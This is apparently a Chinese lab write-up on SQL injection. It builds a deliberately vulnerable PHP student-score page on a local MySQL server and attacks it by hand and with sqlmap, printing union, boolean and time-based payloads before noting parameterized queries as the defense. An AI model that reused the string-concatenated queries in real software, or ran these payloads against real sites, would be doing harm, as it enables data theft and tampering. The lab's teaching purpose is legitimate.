mysql注入平台搭建及相关测试

实验目的

研究 SQL 注入的原理, 通过搭建具有 SQL 注入的服务器的环境, 分别用Sqlmap 和手工注入的方式, 结合 WireShark 抓包分析, 进一步理解 SQL 注入的本质;

本实验通过在服务端部署具有 SQL 注入漏洞的 PHP 脚本,在 Ubuntu 系统上采用 Firefox浏览器的 url 执行手工注入, 而采用 Sqlmap 执行自动化注入;

采用不同的防注入手段, 再尝试 Sqlmap 注入, 观察结果

实验环境

ubuntu16.04、apache2、mysql、php7、sqlmap、

实验步骤

1
2
3
4
5
6
7
8
9
10
11
sudo apt-get install apache2
#sudo service apache2 status/start/stop/restart
sudo apt-get install mysql-server mysql-client
#sudo apt-get install status/start/stop/restart
#sudo netstat -tap
sudo apt-get install php7.0
#php7.0 -v
sudo apt-get install libapache2-mod-php7.0
sudo apt-get install php7.0-mysql
sudo service apache2 restart
sudo service mysql restart

搭建 mysql 数据库,建立数据库 test,数据表 student,包含 id、name、score 三列

mysql -u root -p test

1

编写有 sql 注入漏洞接口程序的php文件,放入/var/www/html/目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
if(isset($_GET['op'])) {
if (mysqli_connect_errno($con))
{
echo "连接 MySQL 失败: " . mysqli_connect_error();
}
$sql = mysqli_connect('localhost', 'root', '65412345','test');
if($sql) {
$op = $_GET['op'];
switch($op) {
case 1: //输入学号显示姓名和分数
$id = $_GET['id'];
$res = mysqli_query($sql,"select * from student where id = '$id';");
while($row = mysqli_fetch_array($res)) {
echo 'name: '.$row['name'].'<br/>';
echo 'score: '.$row['score'];
}
break;
case 2: //输入学号展示学生是否存在
$id = $_GET['id'];
$res = mysqli_query($sql,"select * from student where id = '$id';");
$row = mysqli_fetch_array($res);
if($row) {
echo 'exist';
} else {
echo 'not exist';
}
break;
case 3: //将查询结果是否为空展示在两段随机内容之间
$id = $_GET['id'];
$res = mysqli_query($sql,"select * from student where id = '$id';");
$row = mysqli_fetch_array($res);
if($row) {
echo rand().'exist'.rand();
} else {
echo rand().'not exist'.rand();
}
break;
case 4: //输入学号, 查询成绩是否大于 60, 结果展示在两段随机内容之间
$id = $_GET['id'];
$res = mysqli_query($sql,"select * from student where id = '$id';");
$row = mysqli_fetch_array($res);
if($row) {
$res = mysqli_query($sql,"select * from student where id = '$id' and score > 60;");
$row = mysqli_fetch_array($res);
if($row) {
echo rand().'(score > 60)'.rand();
} else {
echo rand().'(score <= 60)'.rand();
}
} else {
echo rand().'not exist'.rand();
}
break;
case 5: //输入学号展示学生是否存在, 但输出固定内容
$id = $_GET['id'];
$res = mysqli_query($sql,"select * from student where id = '$id';");
$row = mysqli_fetch_array($res);
if($row) {
echo 'query ok';
} else {
echo 'query ok';
}
break;
case 6: //输入学号和分数, 更新对应学生的分数
$id = $_GET['id'];
$score = $_GET['score'];
if(mysqli_query($sql,"update student set score ='$score' where id = '$id';")) {
echo 'update ok';
} else {
echo 'updata fail';
}
break;
default:
break;
}
} else {
die("connect error: " . mysqli_connect_error());
}
mysqli_close($sql);
}
?>

功能实现并手工注入

输入的学号展示姓名和分数(op=1)

2

布尔盲注?op=1&id=1’or’1’=’1

构成 select * from student where id = ‘1’ or ‘1’ = ‘1’

4

联合注入?op=1&id=111’ union all select table_schema,table_name,table_schema from information_schema.tables where ‘1’ = ‘1

可以爆出了所有的数据库, 以及数据库下对应的表

3

也可以选择已知的数据库名和表明来构造

?op=1&id=111’ union all select column_name,data_type,column_name from information_schema.columns where table_schema = ‘test’ and table_name = ‘student

7

输入学号,展示是否有该学生存在(op=2)

5

6

可以通过返回结果的不同遍历出存在的值或者数据库,也可以改变sql查询的语义来查询其它数据库中各项的值

将查询结果是否为空展示在两段随机内容之间(op=3)

8

9

​ 发现在结果前后添加任意长的随机字符与不增加随机字符相比在本质上并没有安全,只是使得攻击脚本增加提取字符串的步骤,提高了爆破的时间成本。

展示查询结果的条件表达式结果,将结果展示在两段随机内容之间(op=4)

如入学号,展示该学生分数是否大于 60。

10

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$id = $_GET['id'];
$res = mysqli_query($sql,"select * from student where id = '$id';");
$row = mysqli_fetch_array($res);
if($row) {
$res = mysqli_query($sql,"select * from student where id = '$id' and score > 60;");
$row = mysqli_fetch_array($res);
if($row) {
echo rand().'(score > 60)'.rand();
} else {
echo rand().'(score <= 60)'.rand();
}
} else {
echo rand().'not exist'.rand();
}
break;

​ 首先要保证 id 在数据库中存在的才能绕过第一个 SQL 查询语句,利用第二个查询语句回显的不同结果来猜测字段的值。第二个语句中的 and score > 60 给注入增加了麻烦, 若联合查询查询其它表中的信息,会因为没有 score 字段而无法让反馈信息按照我们想要的方式展现,可以将目标 SQL 语句夹在多个 union all 中间来绕过限制。

根据输入的参数值,拼接 SQL 查询语句并执行,但展示一个固定的结果(op=5)

如输入学号查询学生是否存在,输出固定内容

此接口的设计, 适用不需要回显查询结果的场景,这种场景下,利用查询结果的回显来猜测字段的值的方法不适用,可以采用延时注入的方法。将 sleep(5)加入到 union all 后边的 select 语句的 where 条件部分, 当数值猜测正确, 浏览器会多加载 5s 的时间, 根据页面加载时间来判断表项数值的猜测是否正确。即通过添加条件判断到SQL中,比如IF(substring(version(),1,1)=5, sleep(5), ‘t’) AS value就能做到类似boolean注入的效果。

可以用F12里面的 Network 来查看加载时间

11

更新数据库(op=6)

如输入学号和分数,将对应学生的分数更新。

这是对于 update 语句的注入, 常用基于报错、 基于时间延迟这两种注入方法。 采取基于报错的 SQL 注入, 发现并未有报错显示, 猜测报错被关闭, 所以, 我们可以采用基于时间延迟的注入。

先猜测当前数据库名称的长度,–+是 MySQL 中的单行注释符号,用于注释掉后边的单引号,也可以采用%23, 转义后为#, 也同样起到注释的作用
?op=6&score=100&id=111’ and if(length(database())=4,sleep(5),1) –+

用 sqlmap 尝试各种注入方式并用 wireshark 抓包,记录每次的目标、SQL 命令行、结果(包括出结果的过程、和最终的输出)、和抓包文件

op=1

sqlmap -u “http://127.0.0.1/sql_test.php?op=1&id=11110000001" -D test –flush-session

18

op=1&id=11110000001%27%20AND%20%28SELECT%20%2A%20FROM%20%28SELECT%28SLEEP%285%29%29%29fdoA%29%20AND%20%27EnPH%27%3D%27EnPH

op=1&id=11110000001' AND (SELECT * FROM (SELECT(SLEEP(5)))fdoA) AND 'EnPH'='EnPH

op=2

sqlmap -u “http://127.0.0.1/sql_test.php?op=2&id=11110000001" -D test –flush-session

op=2&id=11110000001%27%20AND%206489%3D6489%20AND%20%27QACF%27%3D%27QACF

op=2&id=11110000001' AND 6489=6489 AND 'QACF'='QACF

op=3

sqlmap -u “http://127.0.0.1/sql_test.php?op=3&id=11110000001" -D test –flush-session

随机内容对工具起了作用, 其动态的干扰让工具无法基于 YES or NO 两种情 况来 判 断是否存在 Boolean-based blind , 而实际上SQL 注入漏洞是存在的

op=3&id=11110000111%27%20AND%20%28SELECT%20%2A%20FROM%20%28SELECT%28SLEEP%285%29%29%29sKzT%29%20AND%20%27oBjS%27%3D%27oBjS

op=3&id=11110000111' AND (SELECT * FROM (SELECT(SLEEP(5)))sKzT) AND 'oBjS'='oBjS

op=4

sqlmap -u “http://127.0.0.1/sql_test.php?op=4&id=11110000001" -D test –flush-session –dbms=MySQL

之所以没有扫描出注入点, 一是输出的随机内容的干扰, 二是条件查询语句中的 score >60 工具的基本框架中, 没有像前方手工注入那样构造出多个 union all 组合的灵活语句来处理 score > 60 这个特定的问题。需要手动推理和分析后台可能的 SQL 句式

op=5

sqlmap -u “http://127.0.0.1/sql_test.php?op=5&id=11110000001" -D test –flush-session –dbms=MySQL

op=5&id=11110000111%27%20AND%20%28SELECT%20%2A%20FROM%20%28SELECT%28SLEEP%285%29%29%29TwTX%29%20AND%20%27Ztqw%27%3D%27Ztqw

op=5&id=11110000111' AND (SELECT * FROM (SELECT(SLEEP(5)))TwTX) AND 'Ztqw'='Ztqw

op=6

sqlmap -u “http://127.0.0.1/sql_test.php?op=6&id=11110000001&score=66" -D test –flush-session

op=6&id=11110000001%27%20AND%20%28SELECT%20%2A%20FROM%20%28SELECT%28SLEEP%285%29%29%29msbv%29%20AND%20%27lJma%27%3D%27lJma&score=66

op=6&id=11110000001' AND (SELECT * FROM (SELECT(SLEEP(5)))msbv) AND 'lJma'='lJma&score=66

SQL注入的防御

SQL注入漏洞的一般性防范措施是预编译SQL查询语句,让查询语句参数化,秉持着用户输入的数据与代码相分离的原则。当然,对于数据库的操作权限进行严格的控制,对关键字符的过滤以及增加随机化参数等措施都能够在一定程度上对sql注入进行防御。